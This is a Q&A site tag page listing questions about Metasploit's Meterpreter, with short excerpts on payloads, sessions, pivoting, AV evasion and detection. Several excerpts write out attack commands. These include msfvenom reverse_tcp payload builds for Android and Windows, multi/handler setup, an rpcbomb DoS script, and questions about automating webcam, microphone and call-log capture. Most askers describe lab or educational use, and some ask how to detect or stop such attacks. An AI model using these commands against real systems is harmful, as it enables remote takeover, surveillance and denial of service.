Questions tagged [meterpreter]
The meterpreter tag has no usage guidance.
128
questions
0
votes
0answers
130 views
meterpreter command `play` not working
I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error.
I want to play music ...
0
votes
1answer
49 views
Meterpreter: How to invoke commands in a loop for each new connection
I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
2
votes
0answers
63 views
Metasploit opens Meterpreter, but the shell is unresponsive [closed]
I created a payload using
msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk
signed the apk, sent it to my phone, opened up msfconsole and ran
set payload android/...
0
votes
2answers
63 views
Meterpreter session vs shell
What is the meaning of "meterpreter session"? My understanding is it is a session that we can send commands to the host for execution. And a meterpreter session is created when we don't get ...
0
votes
0answers
31 views
Will VPN help to restrict Meterpreter session? [duplicate]
I'm a victim of Meterpreter attack. I'm now using VPN in all the devices. My question is, will it help me to restrict meterpreter attack?
If not, what is the way out to get rid of meterpreter attack?
0
votes
0answers
60 views
Snort throws no alerts at php/meterpreter_reverse_tcp connection?
Snort newbie here. I don't know what I'm doing wrong and I hope someone can help me.
I set up snort on a pfSense VM, on the WAN interface i have a Kali VM connected, on the LAN interface there is a ...
0
votes
0answers
108 views
Why does msfvenom payload dll create the run32dll subprocess after it is injected into the explorer process memory?
I am researching payloads that msfvenom (metasploit framework) can be generated and existing methods of injection them into processes for manual incident investigation.
Initial data
Target: Windows ...
0
votes
2answers
123 views
How to run a meterpreter script multiple times
I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack.
use auxiliary/dos/rpc/rpcbomb
set RHOSTS Victim_IP_Address
set RPORT 111
exploit -j -z
I want ...
0
votes
2answers
511 views
Making My Own Custom Payload [closed]
I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
0
votes
1answer
180 views
Hanging on When Sending Stage
I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
0
votes
0answers
516 views
After connecting to my backdoor, Meterpreter session is unstable and not usable
I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
1
vote
1answer
270 views
How to set where the meterpreter payload is placed on the victim machine in metasploit?
Background
I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
0
votes
3answers
136 views
Can't inject meterpreter shellcode in c++ code
I want to inject meterpreter shellcode in a c++ program.
When I create .exe file in msfvenom, I try it in my virtual machine (Windows 7) and it works well.
But when I create shellcode and inject it ...
0
votes
1answer
268 views
How to execute a custom meterpreter payload? [duplicate]
I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
0
votes
0answers
216 views
Shell from meterpreter not responding to commands
Meterpreter session was created, framework latest. Victim machine: Ubuntu
Screenshot of session:
I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...
0
votes
1answer
105 views
Meterpreter pivot with a bind_named_pipe
I have a pivot setup on a compromised windows 10 box and am trying to get an SYSTEM shell on a separate machine in the target network. I have successfully done this abusing an unquoted service path ...
0
votes
1answer
2k views
MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive
I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe
In ...
1
vote
1answer
117 views
Meterpreter Session died [Bwapp]
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.
My only problem is that my ...
2
votes
2answers
581 views
What allows meterpreter to migrate processes and how to defend against it?
I mainly use Linux so I'm not well-versed on how Windows and its privileges work. I've recently learned to use Metasploit and meterpreter on Windows boxes.
Previous research
This answer has given an ...
0
votes
1answer
404 views
keep session alive
In this scenario where someone creates a meterpreter payload and sends it to the target that clicks on it, the person who sent the payload stays away from his PC and in that meantinme the target ...
1
vote
1answer
244 views
Help understanding pivoting and port forwading
I am trying to learn about pivoting/port forwarding and how to take full advantage of it. If I am connected to a network with the ip 192.168.0.10 and can see that 192.168.0.11 has access to a website ...
2
votes
0answers
1k views
Help with meterpreter reverse https
I was trying to practice with meterpreter, so I used the overflow ms17_010_eternalblue and as a payload windows/meterpreter/reverse_https but I am unable to make this payload to work properly.
1st ...
1
vote
0answers
118 views
How does meterpreter STDAPI bypass window's webcam restriction's settings
How does the stdapi commands 'webcam_snap' and 'webcam_stream' in meterpreter session bypass webcam restrictions/privacy settings on windows? I want to know how one could replicate this for prevention ...
1
vote
0answers
382 views
seDebugPrivilege and OpenProcess() - Trying to understand how Windows restricts access to a process' virtual memory
I’ve been trying to understand how operating systems protect processes from each other. My understanding of Windows security is that a process can call OpenProcess() (thereby allowing read and write ...
2
votes
1answer
1k views
Newer techniques for Meterpreter AV bypass
Is anyone willing to share techniques for creating a Windows Meterpreter payload that can bypass AV? I've noticed that Defender does a very good job these days at detecting it. Some of the ...
0
votes
1answer
4k views
Metasploit - Does the multi handler sends the payload, or just listens for connection
Does the metasploit module: exploit/multi/handler
sends payloads to stagers?
Or does it just listens for an incoming connection like a netcat
listener?
Or does it do both, as needed?
2
votes
1answer
2k views
Cannot execute program with Meterpreter on target OS
I'm a uni student taking a course on cybersecurity and what I am attempting to do is solely for educational purposes and not malicious.
I used the eternalblue exploit to gain access to the victim's ...
1
vote
0answers
385 views
Meterpreter record_mic automation
I am toying with the record_mic function on my laptop and noticed that no matter what i do i cannot capture a stream longer than 12 seconds or i get timeout errors. I thought this was a limitation of ...
2
votes
1answer
10k views
How to connect to a meterpreter session opened manually on the target machine
I am trying to exploit a Windows 7 VM using metasploit. I was able to open a java meterpreter session and I want to access a native meterpreter. To do so I exported a meterpreter/reverse_tcp payload ...
1
vote
0answers
83 views
Proxychains to access ports on the same host
This might be an incredible dumb question but I need to know if this concept is even possible.
I have obtained a low privileged shell on a target machine. After doing some enumeration I know the host ...
0
votes
0answers
39 views
Auto execute meterpreter commands on session start(android) [duplicate]
I want my meterpreter to execute the command as soon as it gets the session. My payload is android/meterpreter/reverse_tcp
I want a file that can execute these commands automatically as soon as ...
-2
votes
2answers
3k views
Difference between shell and meterpreter? [duplicate]
What exactly is the diffrence between meterpreter reverse_shell and any other non-meterpreter reverse shells?
1) The non-meterpreter reverse shell: windows/shell/reverse_tcp
2) Meterpreter: windows/...
1
vote
1answer
405 views
PHP HTTP Reverse Shell?
Is there a PHP HTTP reverse shell? I haven't been able to find one, only ones that transmit using TCP packets (not HTTP).
Note, I mean actually using HTTP packets as the C2, not just transmitting TCP ...
0
votes
0answers
3k views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
2
votes
1answer
474 views
Meterpreter and OpenVPN
During a meterpreter session, is it possible to deliver a payload that creates a connection request to a local OpenVPN connection? For example:
I have a payload. Whenever that payload runs on the ...
2
votes
2answers
7k views
How do I get back to a Meterpreter shell after backgrounding it?
Curious if any of you have an answer to this Metasploit question. It's an issue of a Metasploit session within another Metasploit session.
In this lab I'm doing, I need to compromise a machine (10.10....
0
votes
1answer
1k views
How to launch a Metasploit module with arguments in just one command
I am developing my first Metasploit module on Metasploit v5.0.1. I would like to launch my own module in one command with args and not using meterpreter. At this time, I launch my module with these ...
1
vote
1answer
1k views
Get the privileges of root with the user with I do an exploit with Shellshock [closed]
I got the remote control of a linux machine with Shellshock attack in Kali Linux (attacker machine) to a TinyCore Linux (victim machine), I used this module to attack the CGI vulnerability:
use ...
2
votes
2answers
10k views
meterpreter upload command does't work
I'm trying to upload nc.exe on a Windows 7 system, after having exploited it by using: exploit/windows/fileformat/ms15_100_mcl_exe.
After obtaining the session:
sessions –l
sessions –i 1
I issued ...
0
votes
1answer
262 views
How to response to Meterpreter HTTP Request sent from client
First of all apologies for mistakes as i am at beginner level. I was exploring Meterpreter HTTP Handler. I have created a payload with meterpreter reverse HTTP and writing my own http server for ...
0
votes
1answer
283 views
How to set autorunscript of core commands?
I'm trying to automate scripts of an Android Metasploit payload. I can successfully automate any script on the /post module, however, I'm trying to automate geolocate, dump_calllog and others that are ...
1
vote
1answer
757 views
Switching to native meterpreter
I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in ...
0
votes
1answer
800 views
Meterpreter reverse shell alternative
What can you do if you are behind NAT but can't do port forwarding and don't want to pay for a virtual server with internet-facing IP? I read the answer to this question which suggests some tunneling ...
0
votes
1answer
2k views
From SQL Injection in SQLite to shell
I need to obtain a shell from an SQL injection over an application with sqlite database.
Currently my exploit looks like the following:
lucian@0x90:~/$ proxychains nc 10.185.10.55 1101
ProxyChains-3....
3
votes
3answers
2k views
Meterpreter shell and system shell define?
What is the difference between Meterpreter shell and system shell?
For example, if I found some vulnerability in a system which allowed both shells, then what should I go for, system shell or ...
0
votes
1answer
2k views
Meterpreter file upload - segmentation fault
I'm doing some experiments on two VMs, one running Kali and the other running Ubuntu. I have a problem with the "upload" command of Meterpreter. In particular, I already open a reverse tcp session ...
0
votes
2answers
15k views
Meterpreter commands not working in shell [closed]
I used use multi/handler followed by set PAYLOAD windows/meterpreter/reverse_tcp then set LPORT 80 and set LHOST 192.168.0.11 after that I do exploit -j -z and go on my Windows machine connected to ...
3
votes
1answer
716 views
Metasploit: pivoting to machine without internet access
Let's imagine the following (not uncommon) scenario:
I'm doing a pentest from the outside
I have a meterpreter session from a company PC that´s within their infrastructure (Let´s say w/ reverse HTTPS)...
1
vote
4answers
5k views
Port forwarding for reverse tcp
I am using metasploit to create a payload for Android phone (for educational purposes).
If my target and my computer are on the same network it works fine. But when my target is outside connected to ...
-1
votes
1answer
1k views
How can a reverse shell payload be executed? [closed]
With metasploit it is possible to open a reverse shell via meterpreter. For this you need to place a payload on the attacked server. E.g., there is an endpoint open that places files on a server, and ...
